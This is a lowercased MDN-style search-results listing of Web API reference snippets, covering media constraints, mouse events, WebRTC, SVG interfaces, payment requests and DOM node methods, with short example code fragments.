if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.volume as returned by a call to mediadevices.getsupportedconstraints().
... however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with.
... syntax var constraintsobject = { volume: constraint }; constraintsobject.volume = constraint; value a constraindouble describing the acceptable or required value(s) for an audio track's volume, on a linear scale where 0.0 means silence and 1.0 is the highest supported volume.
...And 3 more matches
MediaTrackConstraints.width - Web APIs
if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.width as returned by a call to mediadevices.getsupportedconstraints().
... however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with.
... syntax var constraintsobject = { width: constraint }; constraintsobject.width = constraint; value if this value is a number, the user agent will attempt to obtain media whose width is as close as possible to this number given the capabilities of the hardware and the other constraints specified.
...And 3 more matches
MediaTrackSettings.volume - Web APIs
the mediatracksettings dictionary's volume property is a double-precision floating-point number indicating the volume of the mediastreamtrack as currently configured, as a value from 0.0 (silence) to 1.0 (maximum supported volume for the device).
... this lets you determine what value was selected to comply with your specified constraints for this property's value as described in the mediatrackconstraints.volume property you provided when calling either getusermedia() or mediastreamtrack.applyconstraints().
... if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.volume as returned by a call to mediadevices.getsupportedconstraints().
...And 3 more matches
MouseEvent.altKey - Web APIs
WebAPIMouseEventaltKey
the mouseevent.altkey read-only property is a boolean that indicates whether the alt key was pressed or not when a given mouse event occurs.
... be aware that the browser can't always detect the alt key on some operating systems.
... syntax var altkeypressed = instanceofmouseevent.altkey return value a boolean, where true indicates that the key is pressed, and false indicates that the key is not pressed.
...And 3 more matches
MouseEvent.buttons - Web APIs
the mouseevent.buttons read-only property indicates which buttons are pressed on the mouse (or other input device) when a mouse event is triggered.
... each button that can be pressed is represented by a given number (see below).
...the mouseevent.buttons property indicates the state of buttons pressed during any kind of mouse event, while the mouseevent.button property only guarantees the correct value for mouse events caused by pressing or releasing one or multiple buttons.
...And 3 more matches
MouseEvent.clientY - Web APIs
the clienty read-only property of the mouseevent interface provides the vertical coordinate within the application's client area at which the event occurred (as opposed to the coordinate within the page).
... for example, clicking on the top edge of the client area will always result in a mouse event with a clienty value of 0, regardless of whether the page is scrolled vertically.
... html <p>move your mouse to see its position.</p> <p id="screen-log"></p> javascript let screenlog = document.queryselector('#screen-log'); document.addeventlistener('mousemove', logkey); function logkey(e) { screenlog.innertext = ` screen x/y: ${e.screenx}, ${e.screeny} client x/y: ${e.clientx}, ${e.clienty}`; } result specifications specification status comment css object model (cssom) view modulethe definition of 'clienty' in that specification.
...And 3 more matches
MutationObserverInit.attributeOldValue - Web APIs
syntax var options = { attributeoldvalue: true | false } value a boolean value indicating whether or not the prior value of a changed attribute should be included in the mutationobserver.oldvalue property when reporting attribute value changes.
... function callback(mutationlist) { mutationlist.foreach(function(mutation) { switch(mutation.type) { case "attributes": notifyuser("attribute name " + mutation.attributename + " changed to " + mutation.target[mutation.attributename] + " (was " + mutation.oldvalue + ")"); break; } }); } var targetnode = document.queryselector("#target"); var observer ...
...= new mutationobserver(callback); observer.observe(targetnode, { attributes: true, attributeoldvalue: true }); the callback() function—which will be passed into the observe() method when starting the observer, looks at each item in the list of mutationrecord objects.
...And 3 more matches
Using Navigation Timing - Web APIs
unlike other tools or libraries, the navigation timing api lets you gather information that only the browser can provide at a level of accuracy much improved over other techniques.
... html <div class="output"> </div> css .output { border: 1px solid #bbb; font: 16px "open sans", "helvetica", "arial", sans-serif; } in tandem with appropriate html and css, the result is: the values listed are for the <iframe> in which the sample is presented above.
... for a list of the available timing values you can look for in performancetiming, see the performancetiming interface's properties section.
...And 3 more matches
Navigator.getBattery() - Web APIs
it returns a battery promise, which is resolved in a batterymanager object providing also some new events you can handle to monitor the battery status.
... syntax var batterypromise = navigator.getbattery(); return value a promise which, when resolved, calls its fulfillment handler with a single parameter: a batterymanager object which you can use to get information about the battery's state.
... exceptions this method doesn't throw true exceptions; instead, it rejects the returned promise, passing into it a domexception whose name is one of the following: securityerror the user agent does not expose battery information to insecure contexts and this method was called from insecure context.
...And 3 more matches
Navigator.mediaSession - Web APIs
the read-only navigator property mediasession returns a mediasession object that can be used to share with the browser metadata and other information about the current playback state of media being handled by a document.
... in addition, the mediasession interface provides the setactionhandler() method, which lets you receive events when the user engages device controls such as either onscreen or physical play, pause, seek, and other similar controls.
... an internet radio app, for example, can use setactionhandler() to let fhe media controls on a keyboard or elsehwere on the user's device be used to control the app's media playback.
...And 3 more matches
Navigator.requestMediaKeySystemAccess() - Web APIs
the navigator.requestmediakeysystemaccess() method returns a promise which delivers a mediakeysystemaccess object that can be used to access a particular media key system, which can in turn be used to create keys for decrypting a media stream.
...consider that when deciding when to call requestmediakeysystemaccess(); you don't want those requests to happen at inconvenient times.
... as a general rule, this function should be called only when it's about time to create and use a mediakeys object by calling the returned mediakeysystemaccess object's createmediakeys() method.
...And 3 more matches
Navigator.vibrate() - Web APIs
WebAPINavigatorvibrate
if a vibration pattern is already in progress when this method is called, the previous pattern is halted and the new one begins instead.
... if the method was unable to vibrate because of invalid parameters, it will return false, else it returns true.
... if the pattern leads to a too long vibration, it is truncated: the max length depends on the implementation.
...And 3 more matches
Navigator.xr - Web APIs
WebAPINavigatorxr
the read-only xr property provided by the navigator or workernavigator interface returns an xr object which can be used to access the webxr device api.
...this can be used to present augmented and/or virtual reality imagery to the user.
... usage notes each window has its own instance of navigator, which can be accessed as window.navigator or simply as navigator.
...And 3 more matches
NavigatorConcurrentHardware - Web APIs
the navigatorconcurrenthardware mixin adds to the navigator interface features which allow web content to determine how many logical processors the user has available, in order to let content and web apps optimize their operations to best take advantage of the user's cpu.
... the number of logical processor cores is a way to measure the number of threads which can effectively be run at once without them having to share cpus.
... modern computers have multiple physical cores in their cpu (two or four cores is typical), but each physical core is also usually able to run more than one thread at a time using advanced scheduling techniques.
...And 3 more matches
Node.baseURI - Web APIs
WebAPINodebaseURI
in most cases the base url is simply the location of the document, but it can be affected by many factors, including the <base> element in html and the xml:base attribute in xml.
... details the base url of a document the base url of a document defaults to the document's address (as displayed by the browser and available in window.location), but it can be changed: when an html <base> tag is found in the document when the document is new (created dynamically) see the base urls section of the html living standard for details.
... you can use document.baseuri to obtain the base url of a document.
...And 3 more matches
Node.childNodes - Web APIs
WebAPINodechildNodes
adding or removing children will change the list's `length` } } remove all children from a node // this is one way to remove all children from a node // box is an object reference to an element while (box.firstchild) { //the list is live so it will re-index each call box.removechild(box.firstchild); } notes the items in the collection of nodes are objects, not strings.
...(for example, to get the name of the first childnode: elementnodereference.childnodes[1].nodename.) the document object itself has 2 children: the doctype declaration and the root element, typically referred to as documentelement.
... specifications specification status comment domthe definition of 'node.childnodes' in that specification.
...And 3 more matches
Node.firstChild - Web APIs
WebAPINodefirstChild
<p id="para-01"> <span>first span</span> </p> <script> var p01 = document.getelementbyid('para-01'); console.log(p01.firstchild.nodename); </script> in the above, the console will show '#text' because a text node is inserted to maintain the whitespace between the end of the opening <p> and <span> tags.
... to avoid the issue with node.firstchild returning #text or #comment nodes, parentnode.firstelementchild can be used to return only the first element node.
... specifications specification status comment domthe definition of 'node.firstchild' in that specification.
...And 3 more matches
Node.isSupported() - Web APIs
WebAPINodeisSupported
this is the same name which can be passed to the method hasfeature on domimplementation.
... possible values defined within the core dom specification are listed on the dom level 2 conformance section.
...if the version is not specified, supporting any version of the feature will cause the method to return true.
...And 3 more matches
Node.nodeType - Web APIs
WebAPINodenodeType
deprecated node type constants the following constants have been deprecated and should not be used anymore.
... var node = document.documentelement.firstchild; if (node.nodetype !== node.comment_node) { console.warn("you should comment your code!"); } specifications specification status comment domthe definition of 'node.nodetype' in that specification.
... living standard deprecated attribute_node, entity_reference_node and notation_node types.
...And 3 more matches
NodeList.prototype.forEach() - Web APIs
WebAPINodeListforEach
the foreach() method of the nodelist interface calls the callback given in parameter once for each value pair in the list, in insertion order.
... syntax somenodelist.foreach(callback[, thisarg]); parameters callback a function to execute on each element of somenodelist.
... thisarg optional value to use as this when executing callback.
...And 3 more matches
OVR_multiview2 - Web APIs
constants this extension exposes 4 constants that can be used in getparameter() or getframebufferattachmentparameter().
...calling checkframebufferstatus for a framebuffer in this state returns framebuffer_incomplete_view_targets_ovr.
... examples this example is taken from the specification.
...And 3 more matches
OfflineAudioContext.OfflineAudioContext() - Web APIs
the offlineaudiocontext() constructor—part of the web audio api—creates and returns a new offlineaudiocontext object instance, which can then be used to render audio to an audiobuffer rather than to an audio output device.
... syntax var offlineaudioctx = new offlineaudiocontext(numberofchannels, length, samplerate); var offlineaudioctx = new offlineaudiocontext(options); parameters you can specify the parameters for the offlineaudiocontext() constructor as either the same set of parameters as are inputs into the audiocontext.createbuffer() method, or by passing those parameters in an options object.
... length an integer specifying the size of the buffer to create for the audio context, in sample-frames, where one sample-frame is a unit that can contain a single sample of audio data for every channel in the audio data.
...And 3 more matches
PaintWorklet.registerPaint - Web APIs
the paintworklet.registerpaint() method of the paintworklet interface registers a class programmatically generate an image where a css property expects a file.
... invalidmodificationerror thrown when the a worklet already exists with the specified name.
...note that registerpaint() is called without a reference to paintworklet.
...And 3 more matches
PannerNode.coneInnerAngle - Web APIs
to help us visualise how the orientation vector affects, we can use the right-hand rule: first, let's start by writing a utility function to figure out our orientation vector.
... the x and z components are always at a 90° to each other, so we can use the sine and cosine functions, which are offset by the same amount in radians.
...they range between -1 and 1 const x = math.cos(radians); const z = math.sin(radians); // we hard-code the y component to 0, as y is the axis of rotation return [x, 0, z]; }; now we can create our audiocontext, an oscillator and a pannernode: const context = new audiocontext(); const osc = new oscillatornode(context); osc.type = 'sawtooth'; const panner = new pannernode(context); panner.panningmodel = 'hrtf'; next, we set up the cone of our spatialised sound, determining the area in which it can be heard: // this value determines the size of the area in which the sound vol...
...And 3 more matches
PannerNode.coneOuterAngle - Web APIs
to help us visualise how the orientation vector affects, we can use the right-hand rule: first, let's start by writing a utility function to figure out our orientation vector.
... the x and z components are always at a 90° to each other, so we can use the sine and cosine functions, which are offset by the same amount in radians.
...they range between -1 and 1 const x = math.cos(radians); const z = math.sin(radians); // we hard-code the y component to 0, as y is the axis of rotation return [x, 0, z]; }; now we can create our audiocontext, an oscillator and a pannernode: const context = new audiocontext(); const osc = new oscillatornode(context); osc.type = 'sawtooth'; const panner = new pannernode(context); panner.panningmodel = 'hrtf'; next, we set up the cone of our spatialised sound, determining the area in which it can be heard: // this value determines the size of the area in which the sound vol...
...And 3 more matches
PannerNode.maxDistance - Web APIs
example in the following example, you can see an example of how the createpanner() method, audiolistener and pannernode would be used to control audio spatialisation.
... generally you will define the position in 3d space that your audio listener and panner (source) occupy initially, and then update the position of one or both of these as the application is used.
... you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
...And 3 more matches
PannerNode.panningModel - Web APIs
example in the following example, you can see an example of how the createpanner() method, audiolistener and pannernode would be used to control audio spatialisation.
... generally you will define the position in 3d space that your audio listener and panner (source) occupy initially, and then update the position of one or both of these as the application is used.
... you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
...And 3 more matches
PannerNode.setVelocity() - Web APIs
this method was removed from the specification because of gaps in its design and implementation problems.
... example in the following example, you can see an example of how the createpanner() method, audiolistener and pannernode would be used to control audio spatialisation.
... generally you will define the position in 3d space that your audio listener and panner (source) occupy initially, and then update the position of one or both of these as the application is used.
...And 3 more matches
ParentNode.replaceChildren() - Web APIs
these can be domstring or node objects.
...you simply call it on the parent node without any argument specified: mynode.replacechildren(); transferring nodes between parents replacechildren() enables you to easily transfer nodes between parents, without having to resort to verbose looping code.
... for example, say we have a simple application allowing you to choose what food you want for your party.
...And 3 more matches
Path2D - Web APIs
WebAPIPath2D
the path2d interface of the canvas 2d api is used to declare a path that can then be used on a canvasrenderingcontext2d object.
... the path methods of the canvasrenderingcontext2d interface are also present on this interface, which gives you the convenience of being able to retain and replay your path whenever desired.
... path2d.closepath() causes the point of the pen to move back to the start of the current sub-path.
...And 3 more matches
PaymentCurrencyAmount.currencySystem - Web APIs
warning: this property has been removed from the specification and should no longer be used; the currency is now always specified using iso 4127.
...the default, urn:iso:std:iso:4217, indicates the iso 4217 standard.
... this obsolete property was removed in the may 3, 2018 update of the payment request api specification.
...And 3 more matches
PaymentCurrencyAmount - Web APIs
currency a string containing a valid 3-letter iso 4217 currency identifier (iso 4217) indicating the currency used for the payment value.
...this string must only contain an optional leading "-" to indicate a negative value, then one or more digits from 0 to 9, and an optional decimal point (".", regardless of locale) followed by at least one more digit.
... obsolete properties these properties have been removed from the specification and should no longer be used.
...And 3 more matches
PaymentDetailsUpdate - Web APIs
this can be done either by calling the paymentrequestupdateevent.updatewith() method or by using the paymentrequest.show() method's detailspromise parameter to provide a promise that returns a paymentdetailsupdate that updates the payment information before the user interface is even enabled for the first time.
...when calling updatewith(), including error in the updated data causes the user agent to display the text as a general error message.
...for example, you can use one to adjust the total payment amount based on the selected payment method ("5% cash discount!").
...And 3 more matches
PaymentResponse.onpayerdetailchange - Web APIs
the paymentresponse object's onpayerdetailchange property is an event handler which is called to handle the payerdetailchange event, which is sent to the paymentresponse when the user makes changes to their personal information while filling out a payment request form.
... syntax paymentresponse.onpayerdetailchange = eventhandlerfunction; value an event handler function which is called to handle the payerdetailchange event when the user makes changes to their personal information while editing a payment request form.
... examples in the example below, onpayerdetailchange is used to set up a listener for the payerdetailchange event in order to validate the information entered by the user, requesting that any mistakes be corrected // options for paymentrequest(), indicating that shipping address, // payer email address, name, and phone number all be collected.
...And 3 more matches
PerformanceEntry - Web APIs
the performanceentry object encapsulates a single performance metric that is part of the performance timeline.
... a performance entry can be directly created by making a performance mark or measure (for example by calling the mark() method) at an explicit point in an application.
..." + properties[i] + " is not supported"); } } } specifications specification status comment resource timing level 3 editor's draft resource timing level 2 working draft resource timing level 1 candidate recommendation adds the performanceresourcetiming interface and the resource value for entrytype.
...And 3 more matches
PerformanceMark - Web APIs
entries of this type are created by calling performance.mark() to add a named domhighrestimestamp (the mark) to the browser's performance timeline.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/performanceentry" target="_top"><rect x="1" y="1" width="160" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="81" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">performanceentry</text></a><polyline points="161,25 171,20 171,30 161,25" stroke="#d4dde4" fill="none"/><line x1="171" y1="25" x2="201" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/w...
... performanceentry.name returns the name given to the mark when it was created via a call to performance.mark().
...And 3 more matches
PointerEvent.isPrimary - Web APIs
the isprimary read-only property of the pointerevent interface indicates whether or not the pointer device that created the event is the primary pointer.
... it returns true if the pointer that caused the event to be fired is the primary device and returns false otherwise.
...authors who desire only single-pointer interaction can achieve that by ignoring non-primary pointers.
...And 3 more matches
PointerEvent.pointerType - Web APIs
the pointertype read-only property of the pointerevent interface indicates the device type (mouse, pen, or touch) that caused a given pointer event.
... if the device type cannot be detected by the browser, the value can be an empty string ("").
... example this example illustrates using the value of the pointertype property to call the appropriate pointer type processing function.
...And 3 more matches
PopStateEvent - Web APIs
if the history entry being activated was created by a call to history.pushstate() or was affected by a call to history.replacestate(), the popstate event's state property contains a copy of the history entry's state object.
... note: just calling history.pushstate() or history.replacestate() won't trigger a popstate event.
... the popstate event is only triggered by doing a browser action such as a clicking on the back button (or calling history.back() in javascript).
...And 3 more matches
Proximity Events - Web APIs
these events make it possible to react to such a change, for example by shutting down the screen of a smartphone when the user is having a phone call with the device close to their ear.
...when the browser gets such a notification, it fires a deviceproximityevent for any change, and a userproximityevent event in the case of a more rough change.
... this event can be captured at the window object level by using the addeventlistener method (using the deviceproximity or userproximity event name) or by attaching an event handler to the window.ondeviceproximity or window.onuserproximity properties.
...And 3 more matches
PublicKeyCredentialCreationOptions.attestation - Web APIs
this is a string whose value indicates the preference regarding the attestation transport, between the authenticator, the client and the relying party.
... the attestation is a mean for the relying party to verify the origin of the authenticator with an attestation certificate authority.
...this avoids making a check with the attestation certificate authority and asking the user consent for sharing identifying information.
...And 3 more matches
RTCConfiguration.iceServers - Web APIs
if the array is empty, or if the iceservers option isn't specified, the ice agent will negotiate without the use of any servers, which will limit the connection to local peers.
...while it can be useful to provide a second server as a fallback in case the first is offline, listing too many servers can delay the user's connection being established, depending on the network's performance and how many servers get used for negotiation before a connection is established.
... if the list of servers is changed while a connection is already active by calling the the rtcpeerconnection method setconfiguration(), no immediate effect occurs.
...And 3 more matches
RTCDTMFToneChangeEvent.RTCDTMFToneChangeEvent() - Web APIs
options a dictionary of type rtcdtmftonechangeeventinit, which may contain one or more of the following fields: tone a domstring containing a single dtmf tone character which has just begun to play, or an empty string ("") to indicate that the previous tone has stopped playing.
...lower-case "a"-"d" automatically gets converted to upper-case.
... the pound/hash sign ("#") and the asterisk ("*") these correspond to the similarly-labeled keys which are typically on the bottom row of the telephone keypad.
...And 3 more matches
RTCDataChannel.label - Web APIs
a unique id can be found in the id property.
... a data channel's label is set when the channel is created by calling rtcpeerconnection.createdatachannel().
... it cannot be changed after that.
...And 3 more matches
RTCDataChannel.onclose - Web APIs
the rtcdatachannel.onclose property is an eventhandler which specifies a function to be called by the browser when the close event is received by the rtcdatachannel.
... this is a simple event which indicates that the data channel has closed down.
... syntax rtcdatachannel.onclose = function; value a function which the browser will call to handle the close event.
...And 3 more matches
RTCDataChannel.onclosing - Web APIs
the rtcdatachannel.onclosing property is an eventhandler which specifies a function to be called by the browser when the closing event is received by the rtcdatachannel.
... this is a simple event which indicates that the data channel is being closed, that is, rtcdatachannel transitions to "closing" state.
... for example, after rtcdatachannel.close() was called but the underlying data transport might not have been closed yet.
...And 3 more matches
RTCDataChannel.readyState - Web APIs
the read-only rtcdatachannel property readystate returns an enum of type rtcdatachannelstate which indicates the state of the data channel's underlying data connection.
... syntax var state = adatachannel.readystate; values a string which is one of the values in the rtcdatachannelstate enum, indicating the current state of the underlying data transport.
... "open" the underlying data transport has been established and data can be transferred bidirectionally across it.
...And 3 more matches
RTCIceServer.credentialType - Web APIs
the rtciceserver dictionary's credentialtype property is a string value from the rtcicecredentialtype enum which indicates what type of credential the rtciceserver.credential value is.
... }; var credentialtype = iceserver.credentialtype; iceserver.credentialtype = newcredentialtype; value the permitted values are found in the rtcicecredentialtype enumerated string type: oauth the rtciceserver requires the use of oauth 2.0 to authenticate in order to use the ice server described.
...this property was formerly called token.
...And 3 more matches
RTCIceServer - Web APIs
urls this required property is either a single domstring or an array of domstrings, each specifying a url which can be used to connect to the server.
... username optional if the rtciceserver is a turn server, then this is the username to use during the authentication process.
... older versions of the webrtc specification included an url property instead of urls; this was changed in order to let you specify multiple addresses for each server in the list, as shown in the example below.
...And 3 more matches
RTCPeerConnection: connectionstatechange event - Web APIs
the new connection state can be found in connectionstate, and is one of the strings in the rtcpeerconnectionstate enumerated type.
... bubbles no cancelable no interface event event handler onconnectionstatechange examples for an rtcpeerconnection, pc, this example sets up a handler for connectionstatechange messages to handle changes to the connectivity of the webrtc session.
... it simply calls an app-defined function called setonlinestatus() to update a status display.
...And 3 more matches
RTCPeerConnection: datachannel event - Web APIs
a datachannel event is sent to an rtcpeerconnection instance when an rtcdatachannel has been added to the connection, as a result of the remote peer calling rtcpeerconnection.createdatachannel().
... note: this event is not dispatched when the local end of the connection creates the channel.
... bubbles no cancelable no interface rtcdatachannelevent event handler property ondatachannel examples this example sets up a function that handles datachannel events by gathering the information needed to communicate with the newly added rtcdatachannel and by adding event handlers for the events that occur on that channel.
...And 3 more matches
RTCPeerConnection.oniceconnectionstatechange - Web APIs
the rtcpeerconnection.oniceconnectionstatechange property is an event handler which specifies a function to be called when the iceconnectionstatechange event is fired on an rtcpeerconnection instance.
... syntax rtcpeerconnection.oniceconnectionstatechange = eventhandler; value this event handler can be set to function which is passed a single input parameter: an event object describing the iceconnectionstatechange event which occurred.
... your code can look at the value of rtcpeerconnection.iceconnectionstate to determine what the new state is.
...And 3 more matches
RTCPeerConnection.onicegatheringstatechange - Web APIs
the rtcpeerconnection.onicegatheringstatechange property is an eventhandler which specifies a function to be called when the icegatheringstatechange event is sent to an rtcpeerconnection instance.
... this happens when the ice gathering state—that is, whether or not the ice agent is actively gathering candidates—changes.
...you can determine the new state of ice gathering by looking at the value of the rtcpeerconnection.icegatheringstate property.
...And 3 more matches
RTCPeerConnection.onsignalingstatechange - Web APIs
the onsignalingstatechange event handler property of the rtcpeerconnection interface specifies a function to be called when the signalingstatechange event occurs on an rtcpeerconnection interface.
... the function receives as input the event object of type event; this event is sent when the peer connection's signalingstate changes, which may happen either because of a call to setlocaldescription() or to setremotedescription().
...this event object doesn't provide details about what changed, but you can examine the signalingstate property to determine what the new state is.
...And 3 more matches
RTCPeerConnection.ontrack - Web APIs
the rtcpeerconnection property ontrack is an eventhandler which specifies a function to be called when the track event occurs, indicating that a track has been added to the rtcpeerconnection.
...this information includes the mediastreamtrack object representing the new track, the rtcrtpreceiver and rtcrtptransceiver, and a list of mediastream objects which indicates which stream or streams the track is part of..
... example this example, taken from the code for the article signaling and video calling, connects the incoming track to the <video> element which will be used to display the incoming video.
...And 3 more matches
RTCPeerConnection.peerIdentity - Web APIs
once this promise resolves successfully, the resulting identity is the target peer identity and cannot change for the duration of the connection.
...if there isn't already a target peer identity, peeridentity is set to a newly created promise and the process begins again, until the process succeeds or no further attempts to authenticate occur.
... note: the promise returned by setremotedescription() cannot resolve until any target peer identity that's been set is validated.
...And 3 more matches
RTCPeerConnectionIceEvent - Web APIs
the rtcpeerconnectioniceevent interface represents events that occurs in relation to ice candidates with the target, usually an rtcpeerconnection.
... only one event is of this type: icecandidate.
... rtcpeerconnectioniceevent.candidate read only contains the rtcicecandidate containing the candidate associated with the event, or null if this event indicates that there are no further candidates to come.
...And 3 more matches
RTCRemoteOutboundRtpStreamStats - Web APIs
localid a domstring which is used to find the local rtcinboundrtpstreamstats object which shares the same synchronization source (ssrc).
...this is different from the timestamp found in the base rtcstats dictionary; it represents the time at which the object's statistics were received or generated by the local endpoint.
... reportssent an integer value indicating the total number of rtcp sender report (sr) blocks that this ssrc has sent.
...And 3 more matches
RTCRtpTransceiver.direction - Web APIs
the rtcrtptransceiver property direction is a string which indicates the transceiver's preferred directionality.
... the transceiver's current direction is indicated by the currentdirection property.
... syntax var direction = rtcrtptransceiver.direction value a domstring whose value is one of the strings which are a member of the rtcrtptransceiverdirection enumerated type, indicating the transceiver's preferred direction.
...And 3 more matches
RTCRtpTransceiver.stop() - Web APIs
that property has been deprecated and will be removed at some point.
... usage notes when you call stop() on a transceiver, the sender immediately stops sending media and each of its rtp streams are closed using the rtcp "bye" message.
... the negotiation process causes currentnegotiation to be set to stopped, finally indicating that the transceiver has been fully stopped.
...And 3 more matches
RTCSctpTransport - Web APIs
possibly the most useful property on this interface is its maxmessagesize property, which you can use to determine the upper limit on the size of messages you can send over a data channel on the peer connection.
... properties also inherits properties from: eventtarget rtcsctptransport.maxchannelsread only an integer value indicating the maximum number of rtcdatachannels that can be open simultaneously.
... rtcsctptransport.maxmessagesizeread only an integer value indicating the maximum size, in bytes, of a message which can be sent using the rtcdatachannel.send() method.
...And 3 more matches
RTCSessionDescription() - Web APIs
this constructor has been deprecated because rtcpeerconnection.setlocaldescription() and other methods which take sdp as input now directly accept an object conforming to the rtcsessiondescriptioninit dictionary, so you don't have to instantiate an rtcsessiondescription yourself.
...the session negotiation process begins with an offer being sent from the caller to the callee.
... this is no longer necessary, however; rtcpeerconnection.setlocaldescription() and other methods which take sdp as input now directly accept an object conforming to the rtcsessiondescriptioninit dictionary, so you don't have to instantiate an rtcsessiondescription yourself.
...And 3 more matches
ResizeObserver - Web APIs
note: the content box is the box in which content can be placed, meaning the border box minus the padding and border width.
... resizeobserver avoids infinite callback loops and cyclic dependencies that are often created when resizing via a callback function.
...implementations should, if they follow the specification, invoke resize events before paint and after layout.
...And 3 more matches
SVGAnimationElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alig...
...if no target element is being animated (for example, because the href specifies an unknown element) the value returned is null.
... beginevent fired when the element local timeline begins to play.
...And 3 more matches
SVGElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111...
...these can also be defined in svg using attributes of the form data-*, where * is the key name for the pair.
...this attribute is deprecated and may be removed in a future version of this specification.
...And 3 more matches
SVGFEGaussianBlurElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line...
... svg_edgemode_duplicate 1 corresponds to the duplicate value.
... svgfegaussianblurelement.stddeviationx read only an svganimatednumber corresponding to the (possibly automatically computed) x component of the stddeviation attribute of the given element.
...And 3 more matches
SVGMatrix - Web APIs
WebAPISVGMatrix
many of svg's graphics operations utilize 2x3 matrices of the form: [a c e] [b d f] which, when expanded into a 3x3 matrix for the purposes of matrix arithmetic, become: [a c e] [b d f] [0 0 1] an svgmatrix object can be designated as read only, which means that attempts to modify the object will result in an exception being thrown.
... methods svgmatrix.multiply() performs matrix multiplication.
... svgmatrix.scale() post-multiplies a uniform scale transformation on the current matrix and returns the resulting matrix as svgmatrix.
...And 3 more matches
SVGTextContentElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53...
... svgtextcontentelement.getcharnumatposition() returns a long representing the character which caused a text glyph to be rendered at a given position in the coordinate system.
... because the relationship between characters and glyphs is not one-to-one, only the first character of the relevant typographic character is returned svgtextcontentelement.selectsubstring() selects text within the element.
...And 3 more matches
SVGUseElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><lin...
...if the element does not have a shadow tree (for example, because its uri is invalid or because it has been disabled by conditional processing), then getting this attribute returns null.
...if the element does not have a shadow tree (for example, because its uri is invalid or because it has been disabled by conditional processing), then getting this attribute returns null.
...And 3 more matches
ScriptProcessorNode - Web APIs
note: as of the august 29 2014 web audio api spec publication, this feature has been marked as deprecated, and was replaced by audioworklet (see audioworkletnode).
... the size of the input and output buffer are defined at the creation time, when the audiocontext.createscriptprocessor() method is called (both are defined by audiocontext.createscriptprocessor()'s buffersize parameter).
...its value can be a power of 2 value in the range 256–16384.
...And 3 more matches
SecurityPolicyViolationEvent - Web APIs
properties securitypolicyviolationevent.blockeduriread only a usvstring representing the uri of the resource that was blocked because it violates a policy.
... securitypolicyviolationevent.dispositionread only indicates how the violated policy is configured to be treated by the user agent.
... securitypolicyviolationevent.sampleread only a domstring representing a sample of the resource that caused the violation, usually the first 40 characters.
...And 3 more matches
Selection.setBaseAndExtent() - Web APIs
the setbaseandextent() method of the selection interface sets the selection to be a range including all or parts of two specified dom nodes, and any content located between them.
... note: if the focus position appears before the anchor position in the document, the direction of the selection is reversed — the caret is placed at the beginning of the text rather the end, which matters for any keyboard command that might follow.
... for example, shift + ➡︎ would cause the selection to narrow from the beginning rather than grow at the end.
...And 3 more matches
